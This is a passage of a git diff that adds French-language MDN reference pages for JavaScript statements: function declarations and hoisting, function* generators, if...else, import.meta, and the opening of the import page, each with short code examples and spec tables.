+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La déclaration <strong><code>function</code></strong> (ou l'instruction <code>function</code>) permet de définir une fonction et les paramètres que celle-ci utilise.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-function.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Il est également possible de définir des fonctions en utilisant le constructeur {{jsxref("Function")}} et une {{jsxref("Opérateurs/L_opérateur_function", "expression de fonction","",1)}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">function <em>nom</em>([<em>param1</em>[, <em>param2</em>,[..., <em>paramN</em>]]]) {
+   [<em>instructions</em>]
+}
+</pre>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code>N</dt>
+ <dd>Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments (cela peut varier en fonction des moteurs).</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui constituent le corps de la fonctio.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une fonction créée via une déclaration de fonction est un objet <code>Function</code> et possède toutes les caractéristiques (propriétés, méthodes et comportement) d'un objet <code>Function</code>. Voir la page {{jsxref("Function")}} pour plus d'informations sur ces caractéristiques.</p>
+
+<p>Une fonction peut également être créée en utilisant une expression (voir {{jsxref("Opérateurs/L_opérateur_function", "les expressions de fonctions","",1)}}).</p>
+
+<p>Par défaut, une fonction renvoie {{jsxref("undefined")}}. Pour renvoyer une autre valeur en résultat, une fonction doit utiliser une instruction {{jsxref("Instructions/return", "return")}} qui définit la valeur à retourner.</p>
+
+<h3 id="Fonctions_créées_conditionnellement">Fonctions créées conditionnellement</h3>
+
+<p>Il est possible de déclarer des fonctions de façon conditionnelle (c'est-à-dire qu'on peut placer une instruction de déclaration de fonction au sein d'une instruction <code>if</code>). La plupart des navigateurs, autres que ceux basés sur Gecko, traiteront cette déclaration conditionnelle comme si elle était inconditionnelle (que la condition souhaitée soit vérifiée ou non) (voir <a href="https://kangax.github.io/nfe/#function-statements">cet article</a> (en anglais) pour un aperçu). Pour cette raison, les déclarations de fonctions ne devraient pas être utilisées pour créer des fonctions de façon conditionnelle. Pour ce faire, il faut privilégier les expressions de fonctions.</p>
+
+<pre class="brush: js">var remontee = "toto" in this;
+console.log(`'toto' ${remontee ? "est" : "n'est pas"} remontée. typeof toto vaut ${typeof toto}`);
+if (false) {
+  function toto(){ return 1; }
+}
+
+// Pour Chrome:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Firefox:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Edge:
+// 'toto' n'est pas remontée. typeof toto vaut undefined
+//
+// Pour Safari:
+// 'toto' est remontée. typeof toto vaut function
+</pre>
+
+<p>On obtient exactement les mêmes résultats si la condition est vérifiée (ici avec <code>true</code>) :</p>
+
+<pre class="brush: js">var remontee = "toto" in this;
+console.log(`'toto' ${remontee ? "est" : "n'est pas"} remontée. typeof toto vaut ${typeof toto}`);
+if (true) {
+  function toto(){ return 1; }
+}
+
+// Pour Chrome:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Firefox:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Edge:
+// 'toto' n'est pas remontée. typeof toto vaut undefined
+//
+// Pour Safari:
+// 'toto' est remontée. typeof toto vaut function</pre>
+
+<h3 id="La_«_remontée_»_des_déclarations_de_fonction">La « remontée » des déclarations de fonction</h3>
+
+<p>Lorsqu'on utilise une déclaration de fonction pour créer une fonction, la définition de la fonction est « remontée ». Il devient donc possible d'utiliser la fonction avant de l'avoir déclarée :</p>
+
+<pre class="brush: js">remontée(); // affiche "toto" dans la console
+
+function remontée() {
+  console.log("toto");
+}
+</pre>
+
+<p>On notera que les {{jsxref("Opérateurs/L_opérateur_function", "expressions de fonctions","",1)}} ne sont pas remontées :</p>
+
+<pre class="brush: js">nonRemontée(); // TypeError: nonRemontée is not a function
+
+var nonRemontée = function() {
+   console.log("truc");
+};
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_function">Utiliser <code>function</code></h3>
+
+<p>Dans l'exemple qui suit, on déclare une fonction qui renvoie le total des ventes en fonction des nombres d'unités vendues pour les produits <code>a</code>, <code>b</code>, et <code>c</code>.</p>
+
+<pre class="brush: js">function calc_ventes(nb_produits_a, nb_produits_b, nb_produits_c) {
+   return nb_produits_a*79 + nb_produits_b * 129 + nb_produits_c * 699;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Définition de fonction')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Définition de fonction')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-13', 'Définition de fonction')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-13', 'Définition de fonction')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Fonctions", "Les fonctions","",1)}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_function", "Les expressions de fonction","",1)}}</li>
+ <li>L'instruction {{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>{{jsxref("Fonctions/Fonctions_fléchées", "Les fonctions fléchées","",1)}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function">L'instruction <code>async function</code> (les déclarations des fonctions asynchrones)</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/async_function">L'opérateur <code>async function</code> (les expressions de fonctions asynchrones)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/function_star_/index.html b/files/fr/web/javascript/reference/instructions/function_star_/index.html
new file mode 100644
index 0000000000..5a55641ed3
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/function_star_/index.html
@@ -0,0 +1,248 @@
+---
+title: function*
+slug: Web/JavaScript/Reference/Instructions/function*
+tags:
+  - ECMAScript 2015
+  - Function
+  - Generator
+  - Instruction
+  - Iterator
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La déclaration <code><strong>function*</strong></code> (le mot-clé <code>function</code> suivi par un astérisque) permet de définir un générateur (aussi appelé une fonction génératrice) (un générateur est un objet {{jsxref("Generator")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>
+<p>Il est également possible de définir un générateur en utilisant le constructeur {{jsxref("GeneratorFunction")}} et une expression {{jsxref("Opérateurs/function*", "function*")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">function* <em>nom</em>([<em>param1</em>[, <em>param2</em>[, ... <em>paramN</em>]]]) {
+   <em>instructions</em>
+}
+</pre>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>paramN</code></dt>
+ <dd>Le nom d'un paramètre formel passé à la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui constituent le corps de la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les générateurs sont des fonctions qu'il est possible de quitter puis de reprendre. Le contexte d'un générateur (les liaisons avec ses variables) est sauvegardé entre les reprises successives.</p>
+
+<p>Les générateurs, combinés avec <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses">les promesses</a>, sont des outils de programmation asynchrones puissants qui permettent de réduire les inconvénients causés par les <em>callbacks</em> (fonctions de rappel) et <a href="https://frontendmasters.com/courses/rethinking-async-js/callback-problems-inversion-of-control/">l'inversion de contrôle</a>.</p>
+
+<p>Lorsqu'on appelle une fonction génératrice, son corps n'est pas exécuté immédiatement, c'est un {{jsxref("Les_protocoles_iteration","itérateur","#Le_protocole_.C2.AB_it.C3.A9rateur_.C2.BB",1)}} qui est renvoyé pour la fonction. Lorsque la méthode <code>next()</code> de l'itérateur est appelée, le corps de la fonction génératrice est utilisé jusqu'à ce que la première expression {{jsxref("Opérateurs/yield", "yield")}} soit trouvée. Cette expression définira la valeur à renvoyer pour l'itérateur. Si on utilise {{jsxref("Opérateurs/yield*", "yield*")}}, on pourra déléguer la génération des valeurs à une autre fonction génératrice. La méthode <code>next()</code> renvoie un objet dont la propriété <code>value</code> contient la valeur générée et une propriété <code>done</code> qui indique si le générateur a produit sa dernière valeur ou non. Lorsqu'on appelle la méthode <code>next()</code> avec un argument, cela reprendra l'exécution de la fonction génératrice et remplacera la valeur de l'expression <code>yield</code> (là où l'exécution avait été interrompue) avec la valeur de l'argument passé à <code>next()</code>.</p>
+
+<p>On peut utiliser une instruction <code>return</code> dans un générateur. Lorsque cette instruction sera exécutée, le générateur sera terminé (<code>done</code> vaudra <code>true</code>). La valeur renvoyée par l'instruction <code>return</code> sera la valeur de terminaison du générateur. Une fois qu'un générateur est terminé, il ne peut plus produire d'autres valeurs.</p>
+
+<p>À l'instar d'une instruction <code>return</code>, une exception levée à l'intérieur du générateur entraînera la terminaison du générateur sauf si cette exception est interceptée. Lorsqu'un générateur est terminé, les appels suivants à <code>next()</code> n'exécuteront aucun code provenant du générateur, ils renverront simplement un objet de la forme <code>{value: undefined, done: true}</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: js notranslate">function* creerID(){
+  var index = 0;
+  while (true) {
+    yield index++;
+  }
+}
+
+var gen = creerID();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // 3
+</pre>
+
+<h3 id="Exemple_utilisant_des_arguments">Exemple utilisant des arguments</h3>
+
+<pre class="brush: js notranslate">function* logGenerator() {
+  console.log(yield);
+  console.log(yield);
+  console.log(yield);
+}
+
+var gen = logGenerator();
+
+// le premier appel à next exécute la fonction depuis son
+// début jusqu'au premier yield rencontré
+gen.next();
+gen.next('bretzel');    // bretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+</pre>
+
+<h3 id="Exemple_utilisant_yield*">Exemple utilisant <code>yield*</code></h3>
+
+<pre class="brush: js notranslate">function* autreGenerateur(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+function* generateur(i){
+  yield i;
+  yield* autreGenerateur(i);
+  yield i + 10;
+}
+
+var gen = generateur(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h3 id="Utilisation_de_return">Utilisation de <code>return</code></h3>
+
+<pre class="brush: js notranslate">function* yieldAndReturn() {
+  yield "Y";
+  return "R";
+  yield "inaccessible";
+}
+
+var gen = yieldAndReturn();
+
+console.log(gen.next()); // { value: "Y", done: false }
+console.log(gen.next()); // { value: "R", done: true }
+console.log(gen.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="Utiliser_un_générateur_comme_propriété">Utiliser un générateur comme propriété</h3>
+
+<pre class="brush: js notranslate">const monObj = {
+  *generator () {
+    yield "a";
+    yield "b";
+  }
+}
+
+const gen = monObj.generator();
+
+console.log(gen.next()); // { value: "a", done: false }
+console.log(gen.next()); // { value: "b", done: false }
+console.log(gen.next()); // { value: undefined, done: true }</pre>
+
+<h3 id="Utiliser_un_générateur_comme_propriété_calculée">Utiliser un générateur comme propriété calculée</h3>
+
+<pre class="brush: js notranslate">class Toto {
+  *[Symbol.iterator] () {
+    yield 1;
+    yield 2;
+  }
+}
+
+const monObj = {
+  *[Symbol.iterator] () {
+    yield "a";
+    yield "b";
+  }
+}
+
+console.log(Array.from(new Toto)); // [1, 2]
+console.log(Array.from(monObj));   // [ "a", "b"]</pre>
+
+<h3 id="Les_générateurs_ne_sont_pas_constructibles">Les générateurs ne sont pas constructibles</h3>
+
+<pre class="brush: js example-bad notranslate">function* f() {}
+var obj = new f; // lève une TypeError: f n'est pas un constructeur
+</pre>
+
+<h3 id="Générateur_défini_avec_une_expression">Générateur défini avec une expression</h3>
+
+<pre class="brush: js notranslate">const toto = function* () {
+  yield 10;
+  yield 20;
+};
+const truc = toto();
+console.log(truc.next()); // {value: 10, done: false}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-generator-function-definitions', 'function*')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td>Les générateurs ne doivent pas gérer la trappe [[Construct]] et déclencher une exception s'ils sont utilisés avec <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.generator_function")}}</p>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<h3 id="Les_générateurs_et_itérateurs_dans_Firefox_pour_les_versions_antérieures_à_Firefox_26">Les générateurs et itérateurs dans Firefox pour les versions antérieures à Firefox 26</h3>
+
+<p>Les anciennes versions de Firefox implémentaient une ancienne version de la proposition pour les générateurs. Dans cette version, les générateurs étaient définis avec le mot-clé <code>function</code> (sans astérisque) et étaient différents selon d'autres aspects. Voir <a href="/fr/docs/Web/JavaScript/Reference/Instructions/Fonction_génératrice_historique">la page sur les générateurs historiques</a> pour plus d'informations.</p>
+
+<h3 id="IteratorResult_au_lieu_dune_exception"><code>IteratorResult</code> au lieu d'une exception</h3>
+
+<p>À partir de Gecko 29 {{geckoRelease(29)}}, lorsqu'un générateur est terminé, il ne renvoie plus une exception {{jsxref("TypeError")}} « generator has already finished ». Il renvoie désormais un objet <code>IteratorResult</code> comme <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>L'objet {{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Les_protocoles_iteration","itérateur","#Le_protocole_.C2.AB_it.C3.A9rateur_.C2.BB",1)}}</li>
+ <li>{{jsxref("Opérateurs/yield", "yield")}}</li>
+ <li>{{jsxref("Opérateurs/yield*", "yield*")}}</li>
+ <li>L'objet {{jsxref("Function")}}</li>
+ <li>{{jsxref("Instructions/function", "Les déclarations de fonction","",1)}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_function", "Les expressions de fonction","",1)}}</li>
+ <li>{{jsxref("Fonctions", "Les fonctions","",1)}}</li>
+ <li>D'autres ressources disponibles sur le Web :
+  <ul>
+   <li><a href="https://facebook.github.io/regenerator/">Regenerator</a> un compilateur permettant de traduire des générateurs ES2015 en du code JavaScript basé sur ES5</li>
+   <li><a href="https://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a> (vidéo en anglais)</li>
+   <li><a href="https://github.com/mozilla/task.js">Task.js</a></li>
+   <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/1st-ed/async%20%26%20performance/ch4.md#iterating-generators-asynchronously">Itérer de façon asynchrone sur des générateurs</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/if...else/index.html b/files/fr/web/javascript/reference/instructions/if...else/index.html
new file mode 100644
index 0000000000..1b2cbf6497
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/if...else/index.html
@@ -0,0 +1,174 @@
+---
+title: if...else
+slug: Web/JavaScript/Reference/Instructions/if...else
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>if</code></strong> exécute une instruction si une condition donnée est vraie ou équivalente à vrai. Si la condition n'est pas vérifiée, il est possible d'utiliser une autre instruction.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-ifelse.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">if (<em>condition</em>)
+   <em>instruction1</em>
+[else
+   <em>instruction2</em>]
+</pre>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>Une <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Expressions">expression</a> qui est évaluée à <code>true</code> ou <code>false</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>instruction1</code></dt>
+ <dd>L'instruction qui est exécutée si la condition est vérifiée (i.e. est évaluée à <code>true</code>). Cette instruction peut être n'importe quelle instruction valide, y compris une imbrication d'autres instructions <code>if</code>. Pour exécuter plusieurs instructions, on pourra utiliser un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) qui permet de les regrouper. Pour n'exécuter aucune instruction, on pourra utiliser {{jsxref("Instructions/Vide","l'instruction vide","",1)}}.</dd>
+</dl>
+
+<dl>
+ <dt><code>instruction2</code></dt>
+ <dd>Si la clause <code>else</code> existe, l'instruction qui est exécutée si la <code>condition</code> est évaluée à <code>false</code>. Comme pour la première, cette instruction peut être n'importe quelle instruction valide : une autre instruction <code>if</code> imbriquée, un bloc d'instruction, une instruction vide, etc.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Plusieurs instructions <code>if...else</code> peuvent être imbriquées afin de créer une structure <code>else if</code> (on notera qu'il n'y a pas de mot-clé <code>elseif</code> en JavaScript).</p>
+
+<pre class="eval">if (<em>condition1</em>)
+  <em>instruction1</em>
+else if (<em>condition2</em>)
+  <em>instruction2</em>
+else if (<em>condition3</em>)
+  <em>instruction3</em>
+...
+else
+  <em>instructionN</em>
+</pre>
+
+<p>Si on indente correctement le code, on retrouve la structure exactement équivalente :</p>
+
+<pre class="eval">if (<em>condition1</em>)
+  <em>instruction1</em>
+else
+  if (<em>condition2</em>)
+    <em>instruction2</em>
+  else
+    if (<em>condition3</em>)
+...
+</pre>
+
+<p>Afin d'exécuter plusieurs instructions, on utilisera un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} (<code>{ ... }</code>) pour regrouper les instructions souhaitées. Utiliser les blocs d'instructions est une bonne façon d'organiser son code, surtout lorsque celui-ci comporte des instructions conditionnelles imbriquées.</p>
+
+<pre class="eval">if (<em>condition</em>) {
+  <em>instructions1</em>
+} else {
+  <em>instructions2</em>
+}
+</pre>
+
+<p>Attention à ne pas confondre les valeurs booléennes « primitives » <code>true</code> et <code>false</code> avec les valeurs true et false d'un objet {{jsxref("Boolean")}}. Toute valeur qui n'est pas <code>false</code>, {{jsxref("undefined")}}, {{jsxref("null")}}, <code>0</code>, <code>-0</code>, {{jsxref("NaN")}} ou la chaîne vide (<code>""</code>), et tout objet, y compris un objet <code>Boolean</code> dont la valeur est <code>false</code>, seront évalués à <code>true</code> lors d'une instruction conditionnelle <code>if</code>. Ainsi :</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // la condition sera évaluée à true
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_if...else">Utiliser <code>if...else</code></h3>
+
+<pre class="brush: js">if (cipher_char == from_char) {
+  result = result + to_char;
+  x++;
+} else {
+  result = result + clear_char;
+}
+</pre>
+
+<h3 id="Utiliser_else_if">Utiliser <code>else if</code></h3>
+
+<p>Bien qu'il n'y ait pas de mot-clé elseif dans le langage JavaScript, il est possible d'imbriquer des instructions if...else à la suite les une des autres en plaçant un espace entre else et le début de l'instruction if imbriquée :</p>
+
+<pre class="brush: js">if (x &gt; 50){
+  // faire quelque chose
+} else if (x &gt; 5) {
+  // faire autre chose
+} else {
+  // faire encore autre chose
+}
+</pre>
+
+<h3 id="Affectation_de_variable_dans_l'expression_conditionnelle">Affectation de variable dans l'expression conditionnelle</h3>
+
+<p>Il est conseillé de ne pas utiliser d'affectation au sein des expressions conditionnelles. En effet, l'affectation peut être confondue avec un test d'égalité lorsqu'on analyse le code. Il ne faut donc pas utiliser le code suivant (bien qu'il fonctionne) :</p>
+
+<pre class="brush: js example-bad">if (x = y) {
+  /* exécuter les instructions */
+}
+</pre>
+
+<p>S'il est nécessaire d'effectuer une telle affectation, une pratique courante consiste à ajouter des parenthèses de cette manière afin d'alerter le lecteur du code (exemple à utiliser) :</p>
+
+<pre class="brush: js example-good">if ((x = y)) {
+  /* exécuter les instructions */
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-if-statement', 'instruction if')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-if-statement', 'instruction if')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.5', 'instruction if')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.5', 'instruction if')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.5', 'instruction if')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.if_else")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/bloc", "bloc")}}</li>
+ <li>{{jsxref("Instructions/switch", "switch")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_conditionnel", "L'opérateur conditionnel","",1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/import.meta/index.html b/files/fr/web/javascript/reference/instructions/import.meta/index.html
new file mode 100644
index 0000000000..4acb0c1029
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/import.meta/index.html
@@ -0,0 +1,70 @@
+---
+title: import.meta
+slug: Web/JavaScript/Reference/Instructions/import.meta
+tags:
+  - JavaScript
+  - Modules
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/import.meta
+---
+<div>{{JSSidebar("Statements")}}</div>
+
+<p>L'objet<strong> <code>import.meta</code></strong> est une méta-propriété qui expose des métadonnées d'un module JavaScript spécifiques au contexte. Cet objet contient des informations à propos du module, telles que l'URL du module.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">import.meta</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>import.meta</code> se compose d'un mot-clé <code>"import</code>", suivi d'un point, puis du nom de propriété <code>"meta"</code>. En temps normal, "<code>import."</code> serait utilisé comme contexte pour un accès à une propriété mais, dans ce cas, <code>"import."</code> n'est pas, à proprement parler, un objet.</p>
+
+<p>L'objet <code>import.meta</code> est créé par l'implémentation ECMAScript avec un prototype qui vaut {{jsxref("null")}}. Cet objet est extensible et ses propriétés sont accessibles en écriture, configurables et énumérables.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit un module <code>mon-module.js</code></p>
+
+<pre class="brush: html">&lt;script type="module" src="mon-module.js"&gt;&lt;/script&gt;
+</pre>
+
+<p>Il est possible d'accéder aux métadonnées du module grâce à l'objet <code>import.meta</code>.</p>
+
+<pre class="brush: js">console.log(import.meta); // { url: "file:///home/user/mon-module.js" }</pre>
+
+<p>Cet objet contient une propriété <code>url</code> qui indique l'URL de base du module. Dans le cas des scripts externes, celle-ci sera l'URL à partir de laquelle le script a été obtenu. Pour les scripts écrits dans le document, ce sera l'URL de base du document englobant.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-import-meta/#importmeta">Proposition pour <code>import.meta</code></a></td>
+   <td>Niveau 3</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","webappapis.html#hostgetimportmetaproperties","import.meta")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition des propriétés <code>import.meta</code> en HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.statements.import_meta")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/import","import")}}</li>
+ <li>{{jsxref("Instructions/export","export")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/import/index.html b/files/fr/web/javascript/reference/instructions/import/index.html
new file mode 100644
index 0000000000..37c904eb10
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/import/index.html
@@ -0,0 +1,242 @@
+---
+title: import
+slug: Web/JavaScript/Reference/Instructions/import
+tags:
+  - ECMAScript 2015
+  - Instruction
+  - JavaScript
+  - Modules
+  - import
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <code><strong>import</strong></code> est utilisée pour importer des liens qui sont exportés par un autre module. Les modules importés sont interprétés en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> dans tous les cas. L'instruction <code>import</code> ne peut pas être utilisée dans les scripts embarqués sauf si ceux-ci proviennent de ressources avec <code><a href="/fr/docs/Web/HTML/Element/script#Attributs">type="module"</a></code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il existe également une forme fonctionnelle, <code>import()</code> (cf. <a href="#dyn">ci-après</a>) qui permet d'avoir des chargements dynamiques. La compatibilité ascendante peut être atteinte en utilisant l'attribut <code>nomodule</code> sur la balise {{HTMLElement("script")}}.</p>
+</div>
+
